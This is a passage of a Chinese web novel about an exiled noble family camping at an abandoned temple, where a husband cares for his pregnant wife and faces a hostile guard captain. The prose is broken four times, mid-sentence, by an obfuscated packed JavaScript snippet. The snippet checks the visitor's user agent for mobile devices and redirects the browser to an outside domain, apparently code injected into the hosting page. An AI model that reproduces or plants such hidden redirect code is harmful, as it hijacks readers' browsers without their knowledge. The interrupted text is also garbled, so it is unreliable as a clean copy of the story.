“璋小子,可要顾好你媳妇儿。” 苏琯璋应了,拆了糕点让宣槿妤吃了几口——她现在是双身子,容易饿,吃的也比之前多了些。 休息了一刻钟,王虎见一行人仍没有动身的意思,不禁有些着急,找到了陈阳。 现下已经是申时中,再过得半个时辰便到了用晚膳的时辰,今晚便别指望再行路了。 “不过二里路,就要走这么久。往后可要怎么办?”他语带抱怨。 陈阳笑,“王千户,我们本可以骑马的。” 骑马再是慢行,也总比两条腿走得快。 按他们尚书大人原先的计划,路难行的时候,那位宣小少夫人再是受不得颠簸,但让宣小公子抱稳她,在马上慢慢走,也惊不了她的胎。 他们本可以在半年内将人送至广虚府,再快速折返回京的。 哪知他们禁军一来,便收走了他们赖以代步的马儿。 王虎想起早前那茬,又在陈阳这里碰了个软钉子,悻悻地走开了。 得,陛下造的孽,都让他来承受了。 嘘,可不能这么想,心里想想也不行。 捉兔子的人回了队伍,宣槿妤刚吃过东西,担心趴着会吐出来,便拒绝了苏琯璋继续背她的提议。 “草深,容易绊着你。”苏琯璋说,示意她去看孩子们身上被草刮出来的痕迹。 尤其是年纪最小个头最矮的慕哥儿,他身上全是草籽,从腰间往下,全是一道一道的绿色草汁。不知道他怎么搞的,连白嫩的小脸上也沾了几道绿痕。 “还会弄脏你的衣裳。”苏琯璋贴着她的耳朵,小声道。 夫妻三年,他最是知晓她不能忍受脏乱——当然,半月前在死牢里是个例外,她当时根本没心思留意衣裳的事。 宣槿妤左右扫视了一圈,发现除了她,所有人的衣裳下摆也都是脏兮兮的,都是草汁、草籽。 其他人她没好意思多看,匆匆瞥了一眼便移开了视线,但她留意到苏琯璋的外袍除了脏,还被勾破了,线头暴露在外面。 虽然都被流放了,但她好像一时也不大能接受这样狼狈的模样。 想着,她朝苏琯璋张开双手,“我才吃了东西,你抱我。” 抱着可比背着累多了,她想。 苏琯璋不知她心里作何想法,但见状立马毫不犹豫地抱起了她。 宣槿妤看着毫不费力的男人,视线朝上,落在他明显亮了许多的双眸上,有些狐疑。 这男人,怎么瞧着还挺开心的样子? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762898|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们磨蹭的这当会儿,苏家其余人都走在了前头。 宣槿妤双手环抱住苏琯璋的脖子,听着他平稳的呼吸,心想,这样抱着,久了她手也该累了,怎么这男人竟看着十分轻松的模样? 她还是小瞧这粗莽武夫了。 一行人再怎么慢吞吞地走,也到底是赶在晚膳时分赶到了废庙。 这座废庙坐立在绵延的山林中,外头有个小广场,一座雄伟的大殿挡住了众人的视线。但从云端若隐若现的飞檐来看,规模显然不小。 “应当没蛇。” 陈阳带着手下,拿着剑或木棍仔细搜寻一番,回来跟他们说道:“先进去。” 众人跨过高高的野草,走进了小广场中,惊跑了几只野兔。 “这废庙竟如此大。”宣槿妤听王虎这样感慨。 她拍了拍苏琯璋的的手,“放我下去。” “我们今晚就在这里过夜?会不会有野兽?”她小声地问苏琯璋。 夫妻俩情浓的时候她想撬开他的嘴,央过他讲述他以前带兵的故事。 虽然他讲得没滋没味、也十分简短,但提过他在野外烤野物的经历,当是对当下这种山林不陌生的。 苏琯璋看出她眼中藏着的害怕,将她揽入怀中,“没事的,我们人多。” 那就是真会有野兽了! 宣槿妤怕得往他怀里缩了缩,“我害怕。”声音娇娇的,惹人心怜。 苏琯璋心里发软,安慰地轻抚着她的背,“别怕。” 干巴巴的,一点都不会安慰人。 许玉娘对着儿子的背影翻了个白眼,而后无奈地对婆母苦笑,惹得苏老夫人忍俊不禁。 一旁的慕哥儿没眼色,拍了拍胸脯,“小婶婶不要怕,慕哥儿保护你。” 忘了旁边都是人了。 宣槿妤红着脸退出苏琯璋的怀抱,和期待地看着她的慕哥儿对视一眼,摸了摸他的头,“好,慕哥儿来保护小婶婶。” 还不如一个不满三岁的小娃娃会说话。 她暗暗踩了苏琯璋一脚。 他们脚下的草丛晃动一下,没引起旁人注意。 许萱娘带着两个妯娌,和几个自发帮忙的孩子,已经清理出一片干净的地方。 “都先坐下吧!”她招呼了声,从包袱里取出一条毯子,铺在地砖上。 毯子足够大,能够容纳他们一家子成合围之势坐着。 “咦?竟是铺了地砖。”宣槿妤道了声谢,整理好裙摆,坐了下去,有些惊讶。 怪不得清理得这样快,毕竟地砖不长草,只要将砖缝间的草连根拔起就好。 她环视一圈,“这座废庙规模不输城西的皇觉寺。”她若有所思,“格局也像。” 苏老夫人颔首,“这里以前就是皇觉寺,后来废了,先帝命人在城西建了个一模一样的新寺。”她说得含糊。 宣槿妤道了声“原是如此”,便没再说什么。 祖母这样说得这样含糊,还提到了先帝,想是有些不为人知的皇家秘事。 因为新帝盛誉,她现在对皇家人没半点好感,对他们的秘事是一点兴趣都提不起来。 22. 第 22 章 正这时,苏琯璋半蹲下来,和她视线平齐,问:“还怕不怕?要不要我留下来陪你?” 宣槿妤感受到他话音刚落、便齐刷刷朝自己看来的目光,不禁有些脸热,“谁要你陪着?你自去帮忙便是。” 马车和行李皆已被卸下,堆在小广场一侧,时不时便有人到那头去拿些需用的东西。 负责护送他们的兵部官兵们和禁军侍卫们都各自分了工,有的除草,有的起火烧锅,还有的进了殿中排查。她还瞧见了几人取了木桶,朝小广场外走去了,想是去找水。 再瞧着呈包围姿势背对着他们一家子、看起来是在各自忙活儿的禁军们,宣槿妤撇了撇嘴,“他们生怕我们跑了呢!”她极小声地和苏琯璋嘟囔着。 也不做得像样点,她都瞧出来了。 苏琯璋失笑,将她脸上的碎发挽回耳后。 “那我去帮忙,有事便让人唤我一声。”他又拜托了许玉娘。 许玉娘斜睨他一眼,“还用你说?槿妤是我媳妇儿,是我闺女,我自会照看好她。别磨磨蹭蹭的,你快走。” 等人走后,她对苏声吐槽,“你说咱俩怎么生出这样一个木头疙瘩?亏得槿妤不嫌弃他。” 宣槿妤假装没听到,耳朵微微发红。 她嫌弃的,嫌弃死了,苏琯璋这男人整一个木头桩子,木愣愣的,也不知道为何爹爹和外祖父都夸他差事办得好。 这就是木人一个,办起差来真的不会被上峰嫌弃,被下属背地里嘀咕么? 苏声朗笑,毫不给小儿子面子,“也嫌弃的。”不然也不会和他闹了三年。怕儿媳妇尴尬,他说得轻声。 但离得这样近,宣槿妤再怎么装听不见,声音也还是入了耳。 “多亏了他那张好脸。”许玉娘说,瞧了一眼脸都红透了的宣槿妤,没再取笑她。 王虎这回主动带着禁军们进了庙,留一行人在外头忙着,他们则将这座庙里里外外都排查了一遍。 “没有危险。”王虎出来时,已经见陈阳带着人升起了火堆,手脚快些的已经将兔子拔了毛,正串着准备烤了。 “哪里有水源?”他咽下要说的话,先问道。 有人给他指了指,“往东走百余步便到了,那里有一条河,水很干净。” 王虎道了声“多谢”,他已经认出了这人是兵部的人。 那人摆摆手,抱着才拔起来拢成一团的野草走开了。 “这座庙也叫皇觉寺。”王虎对陈阳说道,他已经看到了里头广场的石碑,这里的格局显然也和城西的皇觉寺一模一样。 陈阳点点头,显然他也知道,毕竟就是他主动提出要来这座废庙借宿的。 “里头太大了,我们百余人分散开住并不合适,遇到野兽就麻烦了。”王虎继续说。 别管这座庙为什么也叫皇觉寺,也别论为什么规模如此大且明显保存完好的庙说废便废了,这里很显然久无人烟,已经变成了山林的一部分。 他还见里头不少禅房都成了野物的窝巢。 “里头我没碰着大的野兽,但小心为上。这座大殿后门可以锁上,我们夜里便只要顾着这处就好。”王虎指了指这方铺了砖石的大殿。 若他想得不错,这足以容纳千人的浩大殿宇,是为皇家做法事专用,平日里也可以作为大师们为香客们讲经之所。 就跟如今城西的那座皇觉寺一样。 陈阳应了,“这里足够大,夜里便住这里。”莫说他们只百余人,就算再来个数百人,也住得下。 苏琯璋方才请了许玉娘帮忙照看宣槿妤,他在附近走了一圈,摘了不少药草回来。 殿中只陈阳和王虎二人在,他捧着药草进来,恰听见了二人的谈话。“这里荒废许久,恐有蛇虫,先熏一熏罢!” 他话音才落,陈阳已经眼明手快地用剑划了一条蜈蚣。 足有成年男子两指长、小拇指粗细的红足黑背蜈蚣首尾分离,在地上蠕动一番,还未断气,陈阳一脚踩了上去。 他再挪开脚时,那条蜈蚣已经成了一滩烂泥,和厚厚的尘土混为一体。 “小公子果然思虑周全。”他将药草接了过去。 苏家没有被定罪,苏家父子的官职也未被撤,他本该唤一声“苏少卿”的。但话到嘴边,他想起人家都被流放了,再这么叫好像也不合适。 还是小公子这样的称呼不会出差错。 苏琯璋只微微颔首,很快出了殿门。 “果真好涵养。”王虎看着从勋贵子弟沦落到流放荒野,仍清隽挺拔、宛若不染凡尘的人,赞了一句。 若易地而处,他未必有人家这样好的心性。 “毕竟世家大族养出来的公子,何况人家八岁便上了战场。”陈阳点燃了药草,清香携裹着熏人的烟气冒出,他随手分了王虎一把,两人将药草挂了满殿。 殿外的小广场上,一群大男人已经合力将杂草除尽,一口大铁锅被架到了火上,此时锅里的水正微微咕嘟着水泡。 他们驾了四辆马车来,其中三辆是空车,当时载了苏家一行人出京。 还有一辆马车,装了锅碗瓢盆等野外吃饭必须用的家伙,并放了米面油盐、软被薄毯等宣家、许家和常家等人塞进来的打点之物。 他们连帐篷都带了十来顶。 是以,即便有朝一日当真要露宿荒野,他们也足以过活。 除了秋狩,宣槿妤还是第一次见这样富有烟火气的一幕,一时看得出神,连身旁换了人坐下也未察觉。 “觉得怎么样?” 宣槿妤听得耳边熟悉的嗓音,便回了神。 “我想喝鸡汤。”她答非所问。 宣槿妤看着男人清俊的眉眼,想起了自己这一路定的折腾他的计划。 她丰润的唇慢慢往下撇,“很想很想。” 原是想为难这人一番的,但话一出口,她便是真的想喝鸡汤了,嘴里、心里都馋得厉害。 “好。”苏琯璋一口应下。 宣槿妤一怔,这荒野山林间哪有鸡?一路走来,她只见到了兔子。 这么想着,她便问出口。 头顶被摸了摸,她听到男人的回答,“我去林子里找找。” “会有猛兽么?”宣槿妤担心地揪住已经站起身的人的衣摆。 “他们方才抓了不少兔子。”苏琯璋指了指飘来肉香的方向,“兔子这么多,想来野兽不会太多。” 好像也有些道理,宣槿妤不懂山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762899|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林间的规矩,慢慢松开了手。 可人当真钻进山林,消失在视野尽头。 她心里成功折腾到他的雀跃好像又消散不少,宣槿妤只觉胸口烦闷不已。 “莫担心,”许玉娘安慰她,“璋小子身手不错,抓几只鸡而已,不会有危险的。” 谁担心他了。宣槿妤下意识想反驳。 但对上婆母温和含笑的眉眼,便只点了点头,没有再说什么。 “小婶婶,看我。” 宣槿妤看过去,便见彤姐儿冲她做了个猪鼻子。 眉眼精致的小姑娘,做起这样的动作来没有半点忸怩,宣槿妤被她逗笑了。 见小婶婶终于笑了,彤姐儿得意地笑了起来,惹得一众弟弟妹妹争相模仿。 “小婶婶,看我,看看慕哥儿。” “小婶婶,也看看我,我也会。” …… 最后,连最大的启哥儿也看得意动,抛却稳重加入弟弟妹妹们的“争宠”中。 “哈哈哈哈哈。”大人们都笑了起来。 “小公子去哪儿了?” 几个孩子玩得正欢,王虎忽然走了过来。 “小叔叔去给小婶婶抓鸡吃了。”慕哥儿朗声回答。 王虎脸色顿时便变得不好看起来,只看了一眼盯着他的天真孩子,他还是缓声道了声谢。 “不客气的。”慕哥儿摆了摆手。 “为什么没人和我说一声?”王虎抓住路过的一名禁军,冷声问。 禁军被他问得发懵,“大人在说什么?” 王虎看着一脸茫然的下属,很快意识到自己反应过激了,便放了人,“没什么,去忙吧!” 那名禁军一头雾水地离开了。 小孩子最是能体察大人的情绪,慕哥儿敏感地察觉到这个大人不高兴了,便转身回到伯祖父身边,抓住了他的大手。 苏声捏了捏他软面团儿一样的小脸,“慕哥儿不和哥哥姐姐们玩儿了?” 慕哥儿将脸贴在他怀里,蹭了蹭,却没有应声。 苏声揽着孩子小小的身子,大掌在他后背摩挲着,“可是害怕了?” 这么个小豆丁,近些时日可遭了不少罪。 慕哥儿不说话,将脸贴在伯祖父胸膛,小声说道:“伯祖父,我不怕,但我不喜欢他。” 他虽然小,但也不是什么都不懂。 他们原本好好的,就是这个大人,带着一堆人骑马来,然后娘亲和大家都不高兴了。 他方才好心回答这人的话,却换来人家一张臭脸。哼,他也不高兴了。 “伯祖父,我有一点点生气。”他嘟哝着。 小孩子自以为很小心,但近处谁没听着?连正要走的王虎也都听见了,他脚步一顿。 苏声开口,声音不高不低,“王千户,虽我苏家人被流放了,但并未定罪。我儿不过去附近林子里抓几只鸡,也值得你如此费心?” 王虎脸色更差,这苏国公明摆着就是在指责他在提防他们。 “在下不敢。”他勉强回答了一声,快步离开。 宣槿妤将这一幕收入眼中,只觉得胸口越发烦闷。她拿过水囊喝了一口水,勉强压下了胃中翻腾的酸气。 23. 第 23 章 等到远远见到苏琯璋从林子中钻出来,正朝这个方向走来,宣槿妤只觉方才那股被强压下的酸气又冒了上来,且遏制不住了。 于是苏琯璋带着三只野鸡、一捧野菜回来时,刚对宣槿妤笑笑,便见她对着他干呕了起来,一时慌了起来。 他才离开不到一炷香的时辰,发生什么事了? 野鸡已经断了气,被他随手扔在一旁,许萱娘忙接过他手中的野菜,免得也被他扔在地上。 “槿妤,你怎么样?”苏琯璋腾出了双手,在宣槿妤面前蹲了下来。见她干呕得厉害,脑中空白一片,一时也不敢动她。 好一会儿,见宣槿妤好似和缓了些许,才终于想起自己一身的医术,才有所动作。 宣槿妤干呕了几下,什么也没吐出来,倒是眼中含了泪花儿,瞧着可怜得很。 她紧紧攥紧男人的衣摆,任由他给自己拭泪、把脉。 “槿妤这是害喜了。”许玉娘生过三个孩子,于这头上很有经验。见儿媳这样,忙取过随身的包袱,拿出亲家母林清婉塞给她的小罐子。 “这是你岳母亲手做的酸梅,快给槿妤吃下。” 宣槿妤吃下一颗酸梅,又含了第二颗,方才那股止不住的恶心感便弱了许多。 等苏琯璋再替她揉了一会儿手上的穴位,方才的不适感便消退无踪。 “我没事了。”她对又开始摩挲着自己背部的男人说道。 “让你们担心了。”宣槿妤靠在苏琯璋身上,虚弱地朝众人笑笑。 苏老夫人只心疼不已,“槿妤,你受苦了。”现在才三个月,这刚开始害喜,往后路上不甚安稳的几个月,她可怎么过。 千言万语压在心头,沉甸甸的,她却只能说出这句话。 “好孩子。”许玉娘摸了摸宣槿妤的头,而后起身,“好好歇着,我去给你炖鸡汤。” 许萱娘跟上,二人找到一名官兵领路,很快带着三只鸡和那捧野菜走出了小广场。 “方才发生什么事了?”苏琯璋问。 宣槿妤小声说了方才的不愉快。 “好,我知道了。”他沉声回答。 娘亲亲手做的酸梅去了核,酸酸甜甜的,滋味十分不错,宣槿妤又吃了一颗。这才看他,“你要怎么做?” 他们人在屋檐下,这一家子又老的老,小的小,就凭他们几个,能打得过这人高马大武艺出众的八十多人么? 咦?她想起来了,好像也不用和八十多人打。 那出自兵部的陈阳副尉和他手下的三十五名官兵好像是站在他们苏家这边的,只禁军千户王虎与他带来的五十名禁军侍卫领了皇命,才总要将他们视作犯人。 分明那狗皇帝自己就下错了圣旨,他们哪里算得上犯人?依着她对狗皇帝品行的了解,他定是不敢再追一道降罪的圣旨来。 既如此,他们不和狗皇帝计较他将一家无罪流放的专制无道,让他遭天下人耻笑就不错了。 “不打架。”看出她在想什么,苏琯璋失笑,“我就找他们说说话。” 他垂眸,掩住了眼中的寒气。即便打架,他对上这些人,也未必没有胜算,何况还有父亲在。母亲、二婶和嫂子们也能顾好几个孩子。 他只是,顾及到她。 温香软玉在怀,他仍是不满足。宽大衣袖下,他将手指从她纤指中穿过,让二人十指紧扣,大拇指在她滑腻的手背上慢慢摩挲着。 “别担心。”他又低头在她发顶亲了亲。 对于他的过于亲昵的放肆举动,宣槿妤没什么反应——二人好说也做了三年夫妻,一些亲密之事已经让她习以为常,并没放在心上。且她注意力全然不在这里。 她只在意苏琯璋说的“不打架”这三个字。 再听他说只找人说说话,遂放下了心。 不打架就好。 夫子教过她,该示弱的时候就绝不要强撑着贵女的风范。这并不丢人,没有什么比身家性命更加重要的。 经过这大半个月从云端跌下的生活,又见识到了禁军的落井下石,她对夫子这番道理深以为然。 放在以往,他王虎不过区区一千户,哪里敢在大将军公爹苏国公面前这般张狂硬气? 等他们到了余安府,和三哥哥会合,就有人为她撑腰了,就再另说! 他们苏家现下是落难了,但宣家和林家可没有,三哥哥这宣家家主嫡次子、朝中太傅外孙的身份还是管用的。宣槿妤暗自思量着。 她这样一副纠结过又放下心的模样落在苏琯璋眼中,让他心里泛起柔意,方才还藏着凛冽的双眸不知不觉便柔和下来。 他摸了摸她的头,轻轻的。 孩子们见小婶婶已经没事了,乖乖地坐在一旁玩猜谜游戏,不时有清脆的笑声传来。 宣槿妤听得心中微动,将苏琯璋的手拉到腹前,“你说它是男孩儿还是女孩儿?” 她和苏琯璋咬耳朵,“若是个男孩儿,我想他像慕哥儿那样活泼可爱;若是个女孩儿,像彤姐儿一般伶俐娇俏就很好。” 苏琯璋往孩子们那里望了一眼,恰见到慕哥儿和彤姐儿都在笑,小脸纯真、童声稚嫩。 “男孩儿女孩儿都好。”感受着手下的温软,他心下也柔软起来,“我们的孩子,定是最好的。” 宣槿妤惊讶地看着他,一时竟开始怀疑起自己的听觉来。 这话竟是出自面前这个男人之口么?“你被夺舍了?”她问。 苏琯璋:“……”他抿了抿唇。 她竟是这样想他的? 苏琯璋嘴角的弧度慢慢消失在唇边,目光和她对视,眼神十分清淡。让她想起了床笫之外,他平日里是怎么对自己的。 得,还是那个讨人嫌的木头。 宣槿妤移开了目光。 许玉娘和许萱娘轻轻松松地抬着一个大木桶回来了,宣槿妤眼尖地看见了里头被拔了毛、清洗干净的三只鸡。她们身旁的官兵手里还捧着一个装了野菜的铜盆。 见宣槿妤望过来的目光,官兵不自在地将铜盆往怀里的方向紧了紧,微黑的面上泛起了红。 他原先要端木桶来着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762900|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但这两位夫人不让。 这下可好,被同僚们见到了,可不得笑话他。堂堂一个大男人,竟让两位妇人抬木桶! 他们身后升起一堆火,一名官兵将洗干净的铜锅放了上去,另一名官兵将提来的水倒了下去。剩下半桶水,他便放在了火堆旁边。 陈阳走了过来,“我们抓到不少野味,你们若是想吃,尽可来找我们拿。” 他态度十分客气,并不多热络,但在王虎冷脸的对比下,便显得很是热情了。 一般被流放的犯人吃住都是由负责押送的差役安排。但苏家人算不上犯人,且他们出身勋贵之家,吃食想必也有自己的讲究。 出发前尚书大人有过交代,若是在驿站歇息,便由着他来安排饭食;若不幸在荒郊野岭露宿,便随着苏家人自己安排——临行前几家人的打点可不少。 那塞了满满一马车的东西可都是给苏家人用的。至于他们自己,不过每人身上带了一个包袱,和一个水囊,是寒酸不少。 苏声道了声谢,“劳烦了,不过我们的晚膳会自己做。”他指了指已经开始在煮鸡汤的陶锅和在蒸饭的铜锅。 这陶锅和铜锅都是林清婉准备的,想着让双身子的女儿在路上多少能喝口汤。 这会儿鸡汤的香味已经飘了出来,陈阳还闻到了浓郁的干菌子香气,他不觉深吸了口气。 再看那铜锅,瞧着也是满满的一锅饭,苏家一共十六人,差不多也够吃了。 于是陈阳点了点头,并不多作停留,告辞离开。 苏琯璋和宣槿妤说了声,“我去去就回”,便跟了上去。 等他回来时,宣槿妤便发现跟在他身后的陈阳和王虎。陈阳脸色没什么变化,王虎面色倒是没方才那么冷了,居然还挺客气。 太阳打西边出来了? 宣槿妤下意识看了一眼西边,才见夕阳西下,天边晚霞漫天。 苏琯璋很快走到她面前。 “你刚才和他们说什么了?”宣槿妤好奇地问,她还记得方才他说的不打架,只说说话。 苏琯璋这样一个清冷寡言的木头桩子,到底是如何跟人“说说话”的?那王千户竟也如此轻易地便改了态度?他的皇命呢? 苏琯璋在她身旁坐了下来,随口回答,“说了让禁军们往后客气点的话。” 说了跟没说一样。 宣槿妤白了他一眼,不想搭理他了。 她就多余问他!哼!臭男人! 想着,宣槿妤越发气恼,干脆背过身,不去看他那张冰雕似的脸。 她蹲坐在火堆旁,正学着许萱娘的样子往里头加柴,瞧着似模似样的,可把几个孩子羡慕坏了,一个劲儿地夸着说小婶婶好厉害。 宣槿妤心里的气在孩子们的声声夸赞下很快消散,她得意地勾起唇。 霞光染红了她的脸,给她明艳动人的容颜更添了几分光彩。 苏琯璋看不到此时正背对着他的宣槿妤的脸,但迎着火红的云彩,听着孩子们又开始夸小婶婶漂亮的话,他的脸色也慢慢柔和下来。 24. 第 24 章 不多时,有黑色的烟雾飘出。 苏琯璋看了一眼宣槿妤的动作,她正背对着他,于是他什么也没瞧出来。再看一旁的母亲和几个嫂子,便见她们齐齐对他使着眼色,让他莫拆台。 于是他狐疑地瞧了一眼仍在给小婶婶捧场、夸她烧火厉害的几个孩子,起身走到火堆旁,只一眼,他便笑了。 这是在烧火,还是在灭火呢? 亏孩子们夸得出来,居然还快夸出花儿来了。 不过他也没有拆穿宣槿妤的拙劣烧火手法,只在她快要将火弄熄灭之前接过她手中临时充当烧火棍的木柴,“你歇歇,我来烧火。” 身后瞧着的苏老夫人乐呵呵地笑,对长子说:“没有仆妇帮忙,我们一家子也是能做饭的。” 苏声温声应了,“是,往后也不愁了”。 许玉娘将脸转过去,也笑。 多稀罕啊!他们这一家子轮到到如今境地,竟还能自得其乐,也算不错了。她心里很是欢悦。 …… 宣槿妤如愿喝到了鲜美的菌菇鸡汤。 便是没有府中大厨掌勺,他们在这废弃的庙外简简单单地架起火,食材也只有从林子里新鲜打来的鸡、和林清婉塞到马车上的干菌子,简单撒了点盐,这样做出的鸡汤竟也不输名厨所做的美味。 “娘,这鸡汤好好喝。”慕哥儿对丁茜茜撒娇。 丁茜茜摸了摸他的小肚子,圆鼓鼓的肚皮还未完全撑起来,“娘待会儿再给你盛一碗。” 于是慕哥儿如愿再得到一小碗黄澄澄的鸡汤,直喝得肚皮鼓囊囊的。 “好了,小肚子装不下了,别喝了。” 丁茜茜照顾女儿燕姐儿去了,苏二婶边吃边分神留意着幼孙,见这孩子不知停嘴,忙将他的小碗拿了过来。 宣槿妤下半晌才吃过糕点,喝了一碗汤,吃了一小碗米饭和一些野菜便饱了。 她正坐在地上发呆,听到声音便回了神,见慕哥儿被祖母收走了小碗,一脸的不高兴,于是朝他招了招手。 “慕哥儿,来小婶婶这里。” 苏玉慕是她嫁入苏家后唯一看着出生的孩子,从他那么小的一丁点长到现在矮墩墩的胖团儿模样,心里稀罕得紧。 这孩子也很喜欢她,会走会跳之后一有空就往她和苏琯璋的荆竹园跑,婶侄二人关系十分要好。 宣槿妤一叫,慕哥儿便乐颠颠地小跑过来。 “才吃饱,别跑,慢点走。”离得近,宣槿妤才开口让他莫跑,慕哥儿已经到了她跟前。 “之前教过你的是不是都忘了,嗯?”宣槿妤略严肃地戳了戳慕哥儿的小脸,戳下去一个小小的窝窝,“刚吃完饭不要跑,小肚子会痛的。” 慕哥儿根本不怕冷脸的小婶婶,又被她戳得脸上发痒,笑嘻嘻地应了,“我记住了,小婶婶,我以后不跑了。”他慢吞吞地说,童声清脆。 这当头他早便忘了方才祖母不给他继续喝鸡汤的事。 “乖孩子。” 于是宣槿妤改戳为摸,揉了揉他恢复墩墩的脸蛋儿。孩子脸上的肉肉随着她的动作一弹一弹的,惹得苏琯璋也忍不住伸手捏了一把。 “这小脸脏得。”苏琯璋取笑侄子。 孩子脸上沾的草汁已经干透了,一道一道地粘在脸上,有的还糊成了一团,他们方才竟还下得了手揉捏他小脸蛋儿。 苏琯璋将宣槿妤还放在慕哥儿脸上的手拉下,张开她手心看了看,轻轻地揉了揉。 “没有弄脏你的手。”他对宣槿妤说,轻轻将她纤巧的手掌拢入掌心,眉目间隐有笑意。 方才吃饭的时候宣槿妤除了接过他吹凉的鸡汤,吃下他夹过来的野菜,是一句话也不和他说。 目光也不给一个,即便两人不小心对上眼神,她也很快转开,和旁人说话,就是不搭理他。 他后知后觉地发现宣槿妤在生他的气,因他回她的问题时答得不对。 “方才是我不对,我没好好回答你的话。”苏琯璋道歉,“等会儿我再给你讲讲?”他试探着问。 宣槿妤诧异地看着这男人,他这是转性了?竟还当着小侄子的面这样和她亲密。 她抽回了手,“孩子在呢!”她去看慕哥儿,便发现孩子又是一脸的不高兴。 小叔叔笑完自己就去看小婶婶了,都不理慕哥儿。苏玉慕气鼓鼓地瞪着小叔叔。 宣槿妤推了推苏琯璋,空出一个位置,将孩子拉到二人中间坐下。 “等哥哥姐姐们吃饱了,我们去散步消食好不好?” 慕哥儿小脸不鼓了,面上又有了笑意,他重重地点了点头,“嗯”了好大一声。 惹得正在吃饭的苏家其余人忍俊不禁。 吃饱喝足,一行人熄了火堆。 许玉娘、苏二婶和三位嫂嫂收拾了包袱,抱着帐子围帘、取了洗手盆等进了大殿。陈阳已经为他们一家划分好了位置。 天还未黑透,隐隐的青色里映着一轮白月。 宣槿妤为首,带着一帮孩子在小广场里慢慢地走着,权当消食。苏琯璋紧跟在一旁,充当他们的护卫。 不多时,孩子们又玩了起来,比赛谁走得更快,找了小婶婶做裁判。 于是苏琯璋得了机会,将他和陈阳王虎之间的谈话详细地给宣槿妤说了,总算得了她的好脸。 苏琯璋终于松了口气。 他看着唇角微翘的宣槿妤,心里一动。她总嫌弃自己像块木头桩子,原是想让自己多和她说说话、好好地哄哄她? 瞧得有趣,苏老夫人很快领着苏声跟上孩子们,留给小夫妻俩一个独处的时机。 这一家子悠闲的模样落入王虎眼中,他忍不住找到陈阳,“看他们多轻松,还想着散步,若是白日里也好好走路便好了。” 陈阳诧异地看着他,这人不是才被苏小公子说过,答应不为难他们一家了? 王虎看出他在想什么,脸上有些挂不住,“我就是随口说说。” “他们白日里也有好好在走路的,”陈阳替苏家人说话,“只是他们老的老,小的小,还有一个有了身孕,再如何走也快不起来。” 总不能指望人家老人小孩孕妇都跟他们武夫似的,走路带风。 且不说人家走不走得了,便是走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762901|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了,也要出事的。 “反正陛下体恤,并不在意时间,你我只管办好差事便是。”陈阳劝道。 陈阳句句在理,王虎一句反驳的话也没想出来,最后只摸了摸鼻子,告辞离去。 青色消失在天边,夜色掌管人间时,白月好似也有了几分光亮,柔柔地照在一众散心的人身上。 晚风吹来,凉凉的,宣槿妤一个一个摸过孩子们的手,“若是冷了就和大人说,记住了?” 孩子们乖乖地应了。 正这时,苏二婶从大殿中走出来叫人。 “帐子都搭好了,还简单铺了床,拉了帘子。”她对苏老夫人说,“娘,就按我们在刑部牢房里那样分开,您看可不可行?” 苏老夫人没有意见,“你们考虑得很是周全。” 他们一家子男女老少十六人,公爹儿媳、叔嫂侄子侄女都有;既然地方足够大,那基本的男女大防还是要计较的。 像刑部死牢里那样分就很不错。 苏琯璋和宣槿妤是年轻夫妻,自然分到一处。宣槿妤又有了身孕,夜里也方便苏琯璋照顾她。小夫妻俩,即便起夜也不会不自在。 苏声带着四个小男孩儿,都是男子,小兄弟们之间也能互相照顾,苏声夜里要操的心便少很多。 至于剩下的女眷们,人太多了,一个帐子住不下,分两个帐子就不错。 苏老夫人和许玉娘、许萱娘还有彤姐儿住一起,这样一老一小也都有人照顾了。 而苏二婶和她两个儿媳妇儿常湄言、丁茜茜,还有两个孙女燕姐儿、雯姐儿住一起;两个小姑娘还小得很,互相也有个照应,夜里可以搭把手什么的。 还未到休息的时辰,孩子们在三个帐子里钻来钻去,嘻嘻哈哈地笑着闹着。 宣槿妤已经简单擦洗完身子,听到热闹声,转头看苏琯璋也已擦洗完毕,于是忍不住挂起了他们这方帐子的围帘。 